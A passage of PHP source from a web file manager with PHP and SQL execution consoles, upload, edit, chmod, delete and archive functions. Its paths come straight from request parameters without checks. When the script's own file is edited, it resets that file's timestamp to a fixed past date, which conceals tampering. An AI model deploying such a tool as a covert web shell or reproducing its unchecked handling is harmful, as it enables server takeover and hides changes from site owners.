UJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
